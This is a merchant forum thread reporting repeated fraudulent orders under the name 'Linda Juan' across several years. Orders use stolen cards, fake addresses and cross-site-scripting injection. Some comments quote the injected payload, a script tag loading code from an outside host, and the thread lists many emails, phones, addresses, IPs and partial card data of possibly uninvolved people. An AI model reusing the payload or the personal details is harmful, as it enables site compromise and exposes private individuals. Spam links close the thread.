Thank you for saving my company money! Just got an order from this person and I thought it looked weird.

Another one here on September 23, 2016.

Upon further inspection, it appears that this customer attempted a cross-site-scripting (XSS) attack on our site. Here is a discussion started by someone else who had the same thing happen: https://security.stackexchange.com/questions/135489/script-tag-loading-xss-re-692-in-e-commerce-transaction-data-real-attack-or?newreg=8de2aece8b804194baf4d9f371204903

The OH address isn't a good address either.

We had an order as well from this person. Really glad I found this post. The order looked strange. The address is not good.

Searching the address and this page came up. Another fake order/fake address? Ordered from US on a card and we now have charge back. Customer address not valid and product lost with Canada Post.

Linda Juan>">
24 Cyprus RD">
24 Cyprus RD, 24 C
Hiram"> AB T1P 1N1
CA
Phone: 021-234-4444
Email: juanlinda224@gmail.com

She tried placing an order through our website. Thought it looked fishy.

we also had a order from this customer
thanks we canceled it

Same!! Tried that same cross site scripting in Memphis TN

Just got an order from this loser, email juanlinda224@gmail.com Trumbull, CT.

Tried to order on our site, but card declined.
Thanks to everyone for making internet safer!

Attempted an order today as well same info as others.

bad buyer ! problem with emails.Thank you for info...

Just had an order come through that looked strange. It fell into quarantine, It said unknown street so I googled the address and the badbuyer list came up with her name.

This person tried to use my credit card this morning at 3 a m. Thank goodness the GPS store in N. C. found it and called me. The order was not shipped.

My clients site had this person attempt the same late last night. We caught it by seeing the hack attempt at the same time, luckely we don't allow customer input to be printed directly as HTML in any part of our site. He/She used juanlinda224@gmail.com as the email, FYI.

Attempted several orders with us this past week, using stolen/fake cards and injecting cross-site-scripting (XSS) attacks. Used a new email address: juanlinda225@gmail.com

placed an order with me. there was a script injection in the contact info. used juanlinda225@gmail.com

placed an order with us using juanlinda225@gmail.com there was script injection on all lines of order address used was 24 cyprus rd, hiram, oh 44234

Received an online order from this person. Glad we found this post!!!

Same thing today. This thief has stick fingers.

Same incident this week with the XSS attempt in the contact info.

Placed an on-line order today using juanlinda225@gmail too. So glad I found this site as well. I was searching for the address and found this site. Used XSS on all lines. Linda Juan 24 Cyprus Rd Hiram, OH 44234

This person is trying to buying something with this address, this looks fishy.

Linda Juan">
juanlinda123@gmail.com

Shipping Address
Hiram">, AB T1P 1N1
Canada
8174827374

[-] Billing Address

Billing Address
,
24 Cyprus">
Hiram">, AB T1P 1N1
Canada
8174827374

Yesterday she tried it in Germany - https://kugelbunt-shop.de

Linda Juan
Linda1986
24 Cyprus RD">
44234 Hiram
Austria

juanlinda123@gmail.com

We just got a weird order from her today. How can we report this scammer and how can we tell if our system has been compromised?

We received an online order from this same juanlinda225@gmail.com on 9/20/2017, the payment went through, and we shipped the product (only $24 worth) but it was returned for bad address, phone, and email. Doesn't Visa keep track of this?

Caught this buyer today. Shipping address when you remove the script doesn't even exist. juanlinda225@gmail.com

Here is about what it looks like, with the script urls removed

Linda Juan
">
24 Cyprus RD">
Hiram">, WV 25530

Credit Card Type:
MasterCard
Name on Account:
Linda Juan
Credit Card Number:
xxxx-xxxx-xxxx-6902
Expiration Date:
08-19

tried our website twice this week. First had no address and email bounced. Second time googled address and you good folks came up

Just had an order from this person, same phone number, email address doesn't exist, there is no Cyprus Road in Hiram, Ohio, and as this was an international sale to us, it would have cost a lot to send the goods (although we only send tracked to USA).

Tried to purchase something from our store 9x times yesterday. Luckily each one declined.

Address used:
24 Cyprus Rd
Hiram NSW 2000

Just received an order today. Credit card was approved. AVS did not block it. Attempting to ship, address was unknown by USPS. We are gong to void the order. Address was 24 Cyprus Rd, Hiram OH 44234. Also there was illicit script in the address line.

Just had the same thing, was attempting to ship the order, address was no good....also the 24 Cyprus Rd in Hiram Ohio.
Order processed yesterday, today I issued a refund for returned funds. Also had the fishy look with script lined on the address line.
This person needs to be dealt with, phone number, email and address are all no good.
I was very glad to see the Bad Buyer post, when i researched the ship to address.......Thank you :D

This idiot tried buying from me twice late last night. First was declined by processor and it had a failed

This idiot tried buying from me twice late last night. First was declined by processor and it had a failed

Our company just received an order for
Linda Juan
24 Cyprus Rd
Hiram, OH 44234
216-234-5678
juanlinda225@gmail.com

No payment, or attempted payment, but we will not ship this.
Thanks for the heads up.

We had a order as well, I did not ship anything because there email didn't even work, im gonna call the credit company today.

Today, again. Same email and mail adresses.
One detail (maybe it's not important) : my ebusiness is based in France...
Thanks to everybody.

Received and order from this email for an un-customized product, to be shipped to a random house in Pennsylvania. Phone number given goes to a cafe in same town. IP Address is from Hong Kong. Will not be shipping.

Also received the SAME order tonight. I can't believe they are still using the SAME free email address. Idiots

This person tried to place an order on my site today. Her email was no good and neither was her phone. Glad I googled her.

I wonder what is the purpose of this ? to have business waste time and money ?
I mean, if the address does not exist, this person don't really gain anything personally from it.

just so you know, they start to use a different name and address :
Gurwinder Rakkar%22>
2656 flintlock lane%22>
rocklin, CA 95765
United States of America
8139402902

IP 103.242.1.43

This bad buyer strikes again trying to order using stolen cards. juanlinda666@gmail.com . IP 103.242.1.43. Trying to send to john campbell with phone 2059076020. The problem is the credit card and banks do not allow customers to put passwords with their credit cards making it easy for anyone to use. Why do banks do this? it is because the banks benefit from chargebacks charging the merchant from 10-50 dollars each chargeback. They make money from this. Don't you think something is wrong? The people working for the credit card companies including fraud department just follow what they are told without realizing the problem is from the banks and credit card companies. BANKS BENEFIT FROM FRAUD MAKING CHARGEBACK FEES!

Same email registered at our site and ordered something for $1900

Again juanlinda666@gmail.com with embedded scripting, from the land down under. Now as Brian Halm (828)264-2517 - 334 GOSHEN CREEK ROAD trying to buy subscription for mail redirection. Not very creative!

Happened again.

IP Address: 128.14.128.69

juanlinda123@gmail.com

Linda Juan\">
24 Cyprus RD\">
Hiram Ohio
44234
United States

IP Address 128.14.128.69
City Los Angeles
State/Region California
Country Code US
Postal Code 90017
ISP Zenlayer Inc
Time Zone -07:00

Looking into this further it may not be a credit card attack but a hacking attempt trying to input this: script src=//zs.mk/z /script
Scary stuff...

ADMIN please remove the link above NO ONE GO THERE

juanlinda666@gmail.com Bad money, address. I believe this is coming from Europe because of an intended purchase on our website with the time stamp of clearing six hours east, not in Ohio

We've had an attempted order placed by this person. Please note however in most cases as in ours it appears to be an attempt to hack your site as opposed to obtaining goods. If your site is vulnerable to cross site scripting you need to get a security expert to look into it.

Details given were:-
Linda Juan
Linda1986
24 Cyprus RD
london
OHIO
TW20 0XN

juanlinda666@gmail.com

8139402930

The same here:
Linda Juan
24 Cyprus Road
DANVILLE, CA 94526
juanlinda225@gmail.com
2162345678

with cross scripts injection in all fields on order form. Actually order went through and charge settled. Not sure if need to refund. To who?

Attempted order from our Australian store today.
Name: Gary Le
Address: 24 Cryprus Road, Sydney (not a real address)
Script inserted throughout billing & shipping details. IP address is Japan. Name of credit card holder totally different but the transaction was approved by our credit card processor.

Order attempt today,
EMail: juanlinda888@gmail.com
Address: 24 Cryprus Road, Sydney, 2000
IP: Japan

We received an order and blocked the IP address. 24 Cyprus Rd in Ohio (not a real address) The charge went through and processed in our system. We refunded.

Received an order 12/15/17, card went through.
Linda Juan">
24 Cyprus RD">
Hiram"> North Carolina, 28056
#- 2162345678
email- juanlinda225@gmail.com
All are fraudulent. Will be putting in return.

Just got an order from this person - she is using a card belong to Ronald Dilts at the moment (he appears to be dead upon a google search). I had a feeling and found this very helpful forum. Thank you!

Received an order 1/20/18 - payment was processed. Origin was France. Unfortunately for me, I shipped the product. It was when I tried to send her an email with the tracking number that things started to look fishy (no last name with order and email returned) - so I went into Stripe and looked at payment. No last name there either and the France origin for the credit card started to raise flags as well.
HOW IS THIS PERSON NOT CAUGHT with all of us catching her?

Received unusual order from this person and promptly refunded purchase and cancelled order.

Just received an order on our website. Same scripts all throughout. no payment though. How can we make a complaint on this?

We received an order from this person with the cross-site-scripting (XSS) attack as well. Ordered parts from our site. juanlinda666@gmail.com. No response to any queries.

We received an attempted XSS attack from juanlinda678@gmail.com. The script was going to a file on the address zs.mk

Received an order today from: Linda Juan, 24 Cyprus Road, Hiram, OH 44234 - Phone#: 8139402930, email: juanlinda666@gmail.com. originated from Hong Kong. Called Post Office - add does not exist - it is a scam, as I am sure you can see. They tried to put the order through several times - probably with different cards until they got a winner.

Tried placing an order online, paid with an e-check. The check was declined. Address entry was as follows (punctuation and all):

Linda Juan">
24 Cyprus RD">
Hiram, OH 44234
813-782-7273
juanlinda123@gmail.com

Obviously a script. Nice try, nerd.

Received order for amount $1.900 , from :

Linda1986
Linda Juan
24 Cyprus RD"__script src=//zs.mk/b__/script_
Hiram, Ohio 44234
United States
Telephone Number: 8139402930
E-Mail Address: juanlinda666@gmail.com
IP Address: 103.64.12.132 - 103.64.12.132

Thank you very much to everybody for share bad buyers info, great website

I received an order from her as well. Card went through & I shipped ($40) Package came back and of course, I tried to contact her to no avail. Address on order had "> after each line. Anyone know what I need to do?
Linda Juan
24 Cyprus Road
Hiram, OH 44234
Phone 813-940-2930
juanlinda666@gmail.com

Just posted above - Here is the IP info:
103.242.1.43

Details for 103.242.1.43
IP: 103.242.1.43
Decimal: 1743913259
Hostname: 103.242.1.43
ASN: 55933
ISP: Rainbow network limited
Organization: Cloudie Limited
Services: None detected
Type: Broadband
Assignment: Static IP
Blacklist:
Continent: Asia
Country: Hong Kong hk flag
State/Region: Sham Shui Po
City: Sham Shui Po
Latitude: 22.3333 (22° 19′ 59.88″ N)
Longitude: 114.15 (114° 9′ 0.00″ E)

Great site and very helpful. I too received an online order for one of our items and it also appeared very weird. The phone number had been disconnected and the name and address printed had scripting language included as well. Now I have been informed by members on this site what to be watching for.
Thanks,

We just got a weird order from her today. How can we report this scammer and how can we tell if our system has been compromised? http://123bowlinggames.com/bowling-ball-games.html

FYI- This person ordered something from my website with a fraudulent credit card and fake address.
Linda Juan">
juanlinda333@hotmail.com
'">
444 Rollins St">
Missoula, Montana 59801

hey make money from this. Don't you think something is wrong? The people working for the credit card companies including fraud department just follow what they are told without realizing the problem is from the banks and credit card companies. https://123gamesfree.com/cannon-basketball-3/

Thank you for saving my company money! Just got an order from this person and I thought it looked weird. https://123gamesfree.com/tag/awesome-tanks-2-cool-math/

1/18/19 Received this order i knew something wasnt right... Thank you all!!!!

1/29/19 - Received this order as well on our website. Thank you all for alerting us.

Linda Juan">
juanlinda222@hotmail.com
'">
444 Rollins St">
Missoula, Montana 59801

Us too! Thank you for this blog same montana address 02/16/2019

Linda Juan">
juanlinda222@hotmail.com
'">
444 Rollins St">
Missoula, Montana 59801

same ordered from us 2/19/19

Here is the order that was tried with us. linda juan">
">
444 Rollins St">
">
Missoula, MT 59801
United States
3059707467
juanlinda222@hotmail.com

Same here, order came through 4/27/19. Don’t these people have anything better to do?

Linda Juan">
444 Rollins St">, Missoula, Montana 59801
'">
United States
Email: juanlinda111@hotmail.com
Phone: 3059707467
IP Address: 194.156.230.16

Same here, got one from:

juanlinda222@hotmail.com

444 Rollins St
MISSOULA, MT 59801

IP: 106.185.30.192

We had 2 a couple of months ago and then another one today. Bill to address in AZ but ship to in Missoula, MT. So glad they were all declined before I found this website.

Just received an online order from:

Linda Juan
444 Rollins St
Missoula,MT 59801
305.970.7467
juanlinda111@hotmail.com

It's a fraud. They've tried ordering from us before.

Another attempt by this buyer with declined credit card. Info as follows:

Linda Juan
444 Rollins St
Missoula, MT 59801
United States
3059707467
juanlinda222@hotmail.com

Linda Juan. Just tried to scam me too! Of all the weird things.

In my scam, she's juanlinda222@hotmail.com

Received an order a couple of days ago. luckily bank declined. had scripts all the way through
the order doesn't even make sense for a personal buyer.

linda juan
juanlinda222@hotmail.com
3059707467
444 Rollins St"
Sydney

Just had a purchase made by this person on our web phone no invalid and email bounced. Thank you everybody Address and email same as above.

We received an order from this person on 18/8/2019. Address details entered using lots of strange charachters etc which didn't make sense. Order cancelled and customer removed from website.

This customer tried our company today on 2019-08/21. The payment was declined but it caught our attention that he tried to purchase an item of $25000 AUD. Customer name and address like have wired symbol ">". He used email address juanlinda222@hotmail.com

This account (juanlindaxxx) is still attempting fraudulent purchases. I had Stripe as my credit card processor. The transaction was identified as highest risk but the transaction was allowed to go through anyway. Stripe is supposed to block all highest risk transactions by default but collected their fee anyway.

Very bad news. Pretty bold on a $13,000.00 online order. Have a police friend of mine in Montana checking address which is evidently good, but is a residence owned by no one by that name. Credit card is no longer good, if it ever was, and is declined. Attorney says I have to sell something to them, to be able to have them arrested, and then the time and expense is not worth the trouble since it is usually knocked down to a misdemeanor. Our justice system at work for the people, or for the crooks.

LINDA JUAN
444 ROLLINS STREET
MISSOULA, MT 59801
PHONE: (305) 970-7468

Again:
Matthew Maple
24 Cyprus RD
Hiram AB CANADA T1P1N1

Just got an order for 1 bottle of my wine ..I could "set her up"..Thank you for the heads up ! I always google my new customers first (very small biz)
SHIPPING ADDRESS
Linda Juan
444 Rollins St">
Missoula, Montana 59801, United States
3059707467
juanlinda555@hotmail.com

I just got an order too ... it was the PO option that flagged it; only my corporate orders use that option.

Date Tue Jan 14 22:54:33 PST 2020
Ship to Linda Juan
'">
444 Rollins St">
Missoula MT 59801
US United States
3059707467
Bill to Same
E-Mail juanlinda555@hotmail.com (emailed)
Via U.S. Post Office
Payment Purchase Order
Order XID # x5740241753
IP Address 185.199.224.145

17.1.2020 another attempt in the Czech Republic.. Cancelled

another fraudulent attempt to purchase a painting on 3.11.2020
this is the email they used juanlinda222@hotmail.com
Linda Juan
444 Rollins St
Missoula, MT 59801

just got an order from same person - can't believe its been going for so long

address all the same. But email address was 111 instead of the other numbers.

An attempt in St. Louis... has hit my site several times.

Just got one for $250 rare book.

Linda Juan
444 Rollins St
Missoula, MT 59801
3059707467
Email: juanlinda555@hotmail.com

Third time for us -- had one in 2017 from juanlinda888@gmail.com in Noble OK and in 2018 from juanlinda125@gmail.combook in Hiram OH

Attempt in Rochester, NY

Linda Juan
444 Rollins St
Missoula, MT 59801
3059707467
CC: XXXX-8167
Email: juanlinda222@hotmail.com

Stripe allowed whatever credit card this buyer used to go through, so I didn't realize it was a fraudulent buyer. My P.O. ALSO didn't flag it, so it shipped. When the package was returned to me, that's when I googled and found this page (does the owner of that property just get like a ton of wrong packages each month?) I refunded the amount (only $30), but it's incredible that Stripe allowed it, must be a stolen CC.

Attempted in PA

Linda Juan
Missoula MT
juanlinda777@hotmail.com
MC 1634

Square allowed charge, but luckily, my company doesn't ship out of state. When I emailed to let them know we were cancelling the order, the email bounced back. So hopefully whoever's card it is was saved from at least one fraudulent charge! These people are scum!

Ordered today in our shop. We are located in Germany and do not ship to the US, so they choose "Germany" with the Rollings St. address, which of course we caught immediately:
Linda Juan
444 Rollins St" 444
59801 Missoula
Germany

Attempted in FL

Linda Juan
444 Rollins St
Missoula, Montana 59801
juanlinda555@hotmail.com

We had the same experience...she ordered on our website with a weird address ..we cancelled the ordered. thanks for this post and we were saved.

same here, just got an order for a $650.00 bottle of wine.. same name, same addy.
Linda Juan
444 Rollins St
Missoula Mt

Except it says the billing info is
Joey Hilt
444 Rollins St
Missoula MT

ph 305 970-7467

We just had the same problem with this person(s). Thanks to this website and all the people who posted. We would have been out of $950.

Linda Juan
444 Rollins St
Missoula, MT 59801
305-970-7467
juanlinda333@hotmail.com

Online Order today for
Linda Juan
444 Rollins St
Missoula MT 59801

Phone disconnected 305.263.1127 - order amount $278.50 juanlinda111@hotmail.com

Received an order today with a script attempt, same name and address, only a $5.98 purchase.

Received an order today from Lina Juan 444 Rollins St. Card Declined. Purchase of $ 100.00

Received this order today at 4:05am for the purchase of $1246.00

Product Number: JK-4120
Description: Magnetic Sand Timer/Hourglass
Qty: 100 Total: $1,246.00

I thought this was an odd item, so I check it out, especially being from out of state and a first time buyer.
Lucky for me my website does not take payment directly and was sent this order via email to follow up.

I am very happy I found this website about this person. It makes me angry to know that this jerk has been attempting this for over 4 years and nothing can be done!!!

Customer Name: Linda Juan">
Company Name: '">
E-mail: juanlinda333@hotmail.com
Phone: 1 (305) 970-7467

Bill To Address:
Linda Juan">
444 Rollins St">
Missoula, MT 59801
United States

Ship To Address:
Linda Juan">
444 Rollins St">
Missoula, MT 59801
United States

Ha just had one from her. I charged successfully and then refunded it. Same info for her as above.

How do we stop this jerk. Tried us for a Chicago Pneumatic CPS-110 Air Compressor for $12,995.00.

Bill To:
2481 Remuda Drive
Ogden, Ut 84404
Phone: (706) 311-5515

Ship To Address:
Linda Juan
444 Rollins St
Missoula, MT 59801
Phone: (305) 970-7467
juanlinda333@hotmail.com

Cool stuff you have got and you keep update all of us.
Entry level pharmaceutical sales training education https://www.thebalancecareers.com/veterinary-pharmaceutical-sales-rep-125621

This is a great post. I like this topic.This site has lots of advantage.I found many interesting things from this site. It helps me in many ways.Thanks for posting this again.
https://first-11.net https://first-11.net

I appreciate several from the Information which has been composed, and especially the remarks posted I will visit once more.
꽁머니이벤트 https://ggongnara.com

This is a brilliant blog! I'm very happy with the comments!.. 먹튀검증 https://ttattack.com

This person is still at it. Now using juanlinda111@hotmail and 305-263-1127 Phone Got a $2000 order Feb 21, 2021. Many red flags to flag the order. I wonder who really lives at 333 Rollins St in Missoula MT?

Tried with us today for a designer dog collar. Weird script in the shipping address and order name. Incomplete info given in ordering prompts. Failed address in credit card payment. Invalid email.

Linda Juan
444 Rollins St
Missoula MT 59801
3052631127
juanlinda111@hotmail.com

She tried on our website too.

She tried placing an order on our website for 24pcs of bed sheets being shipped to the following address:
Linda Juan
24 Cyprus RD
Strathmore, AB
T1P 1N1
Canada

Email : juanlinda333@hotmail.com
Phone : 3059707467

The script looked weird and she tried to bypass our payment process, but our fraud detection system wouldn't allow it.

3/26/2021 same issue, Address is 444 rollins st missoula MT. Order did not process on my site. This is the second time "juanlinda333@hotmail.com" has tried to place a fraudulent order with my business. Previous address on order from 2019 was similar name, juanlinda225 and an AZ address.

We just had an attempt by this buyer. Our CC company blocked.

We just had an attempt by this buyer ordering on our website. We blocked the suspicious customer from placing more orders.

May 3, 2021 Fraudulent Order!!
Here is another attempt. Client IP67.229.243.42 CC 6879 02/2025
We shipped because We got a Match on Verification and a Match on card code!!!!
Shipping to 10585 E. Valley Dr., Cornville, AZ 86325

May 6, 2021 She strikes again. We have her blocked on our data base so we don't even bother trying to contact her with the phone number that is not active anyway.
Billing is always to 444 Rollins St, Missoula, Montana 59801 I wonder if the police in that town have been contacted about this fraud.

Juanlinda333 just tried to make an order. Same 444 Rollins St in Missoula Montana.. Thank God my CC processor's IP Velocity Filter flagged it. It asked me if I want to allow it or deny it. Did an internet search and found this. Based on all the other messages I will certainly deny the transaction. Beware!

Juanlinda333@hotmail.com
Linda Juan
24 Cyprus Rd
Strathmore AB
T1P1N1, 305-970-7467

an obvious case of credit card testing, purchased a low $ item, tried 2 different cards before 1 worked. I suspect once she/he had one that worked then they really went shopping on another website.

juanlinda222@gmail and juanlinda555@gmail, located at 444 Rollins St, Missoula, Montana, 59801, Phone number 305.970.7467 made an attempt to place an order on my website. She also placed script into the address line. My cart simply shows a balance due, so her attempts to complete the transaction were not approved. Attempt 1 was 03.18.2021, attempt 2 was 05.07.2021.

I just received an order... She did not include the CVV code and did not include the shipping charges, So, I emailed her and called that number. No response.

Date 6/14/21
Ship to Linda Juan
'">
444 Rollins St">
Missoula MT 59801
US United States
3059707467
Bill to Same
E-Mail juanlinda555@hotmail.com

Same person using the 24 Cyprus address in Strathmore Alberta Canada. Shipped the product. (Houseplans) Notified of the Charged back, phoned the number provided and got a different person who says she is using his card fraudulently. I wonder why he has not cancelled his card. Person I spoke to has a Spanish accent. Juan is a Spanish name. Lost over $1200.00 on this order. Same number as 305 970 4767 WHICH IS A VALID PHONE NUMBER IN ALBERTA CANADA. Credit card ending in 2339 ex date and CVV code valid. Disputing chargeback but likely will get no where

Sorry, re the issue on the Alberta Canada charge above NOTE the email address was juanlinda333@hotmail.com

Received an order from her with weird informations, cancelled at once already
Linda Juan
+13058965596
juanlinda111@hotmail.com

Being aware that buyer fraud exists, recognizing the most common forms it takes and coming up with plans that make it more difficult for scammers to abuse your return system can protect you and your customers.

https://roofingunioncity.com/